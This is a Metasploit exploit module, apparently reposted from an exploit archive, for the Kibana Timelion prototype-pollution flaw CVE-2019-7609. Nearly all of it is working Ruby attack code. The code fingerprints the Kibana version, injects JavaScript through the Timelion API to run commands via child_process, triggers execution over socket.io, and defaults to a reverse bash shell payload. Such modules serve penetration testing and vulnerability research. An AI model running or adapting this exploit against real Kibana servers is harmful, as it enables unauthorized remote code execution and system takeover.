Share
## https://sploitus.com/exploit?id=PACKETSTORM:174569
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
include Msf::Exploit::Remote::HttpClient  
prepend Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Kibana Timelion Prototype Pollution RCE',  
'Description' => %q{  
Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer.  
An attacker with access to the Timelion application could send a request that will attempt to execute  
javascript code. This leads to an arbitrary command execution with permissions of the  
Kibana process on the host system.  
  
Exploitation will require a service or system reboot to restore normal operation.  
  
The WFSDELAY parameter is crucial for this exploit. Setting it too high will cause MANY shells  
(50-100+), while setting it too low will cause no shells to be obtained. WFSDELAY of 10 for a  
docker image caused 6 shells.  
  
Tested against kibana 6.5.4.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Michał Bentkowski', # original PoC, analysis  
'Gaetan Ferry' # more analysis  
],  
'References' => [  
[ 'URL', 'https://github.com/mpgn/CVE-2019-7609'],  
[ 'URL', 'https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/'],  
[ 'CVE', '2019-7609']  
],  
'Platform' => ['unix'],  
'Privileged' => false,  
'Arch' => ARCH_CMD,  
'Targets' => [  
[ 'Automatic Target', {}]  
],  
'DisclosureDate' => '2019-10-30',  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash',  
'WfsDelay' => 10 # can take a minute to run  
},  
'Notes' => {  
# the webserver doesn't die, but certain requests no longer respond before a timeout  
# when things go poorly  
'Stability' => [CRASH_SERVICE_DOWN],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(5601),  
OptString.new('TARGETURI', [ true, 'The URI of the Kibana Application', '/'])  
]  
)  
end  
  
def check  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'kibana'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?  
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200  
  
# this pulls a big JSON blob that we need as it has the version  
unless %r{<kbn-injected-metadata data="([^"]+)"></kbn-injected-metadata>} =~ res.body  
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")  
end  
  
version_json = CGI.unescapeHTML(Regexp.last_match(1))  
  
begin  
json_body = JSON.parse(version_json)  
rescue JSON::ParserError  
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")  
end  
  
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil?  
  
@version = json_body['version']  
  
if Rex::Version.new(@version) < Rex::Version.new('5.6.15') ||  
(  
Rex::Version.new(@version) < Rex::Version.new('6.6.1') &&  
Rex::Version.new(@version) >= Rex::Version.new('6.0.0')  
)  
return CheckCode::Appears("Exploitable Version Detected: #{@version}")  
end  
  
CheckCode::Safe("Unexploitable Version Detected: #{@version}")  
end  
  
def get_xsrf  
vprint_status('Grabbing XSRF Token')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'bundles', 'canvas.bundle.js'),  
'keep_cookies' => true  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200  
  
return Regexp.last_match(1) if /"kbn-xsrf":"([^"]+)"/ =~ res.body  
  
nil  
end  
  
def trigger_socket  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'socket.io/'), # trailing / is required  
'keep_cookies' => true,  
'headers' => {  
'kbn-xsrf' => @xsrf  
},  
'vars_get' => {  
'EIO' => 3,  
'transport' => 'polling'  
}  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200  
end  
  
def send_injection(reset: false)  
if reset  
pload = ".es(*).props(label.__proto__.env.AAAA='').props(label.__proto__.env.NODE_OPTIONS='')"  
else  
# we leave a marker for our payload to avoid having .to_json process it and make it unusable by the host OS  
pload = %|.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("PAYLOADHERE");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')|  
end  
body = {  
'sheet' => [pload],  
'time' => {  
'from' => 'now-15m',  
'to' => 'now',  
'mode' => 'quick',  
'interval' => 'auto',  
'timezone' => 'America/New_York'  
}  
}  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'api', 'timelion', 'run'),  
'method' => 'POST',  
'ctype' => 'application/json',  
'headers' => { 'kbn-version' => @version },  
'data' => body.to_json.sub('PAYLOADHERE', payload.encoded.gsub("'", "\\\\\\\\\\\\\\\\'")),  
'keep_cookies' => true  
)  
Rex.sleep(2) # let this take hold, if we go too fast we dont get the shell  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200  
end  
  
def exploit  
check if @version.nil?  
print_status('Polluting Prototype in Timelion')  
send_injection  
  
@xsrf = get_xsrf  
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to grab XSRF token") if @xsrf.nil?  
  
print_status('Trigginger payload execution via canvas socket')  
trigger_socket  
print_status('Waiting for shells')  
Rex.sleep(datastore['WFSDELAY'] / 10)  
unless @reset_done  
print_status('Unsetting to stop raining shells from a lacerated kibana')  
send_injection(reset: true)  
trigger_socket  
end  
end  
  
def on_new_session(_client)  
return if @reset_done  
  
print_status('Unsetting to stop raining shells from a lacerated kibana')  
send_injection(reset: true)  
trigger_socket  
@reset_done = true  
ensure  
super  
end  
  
end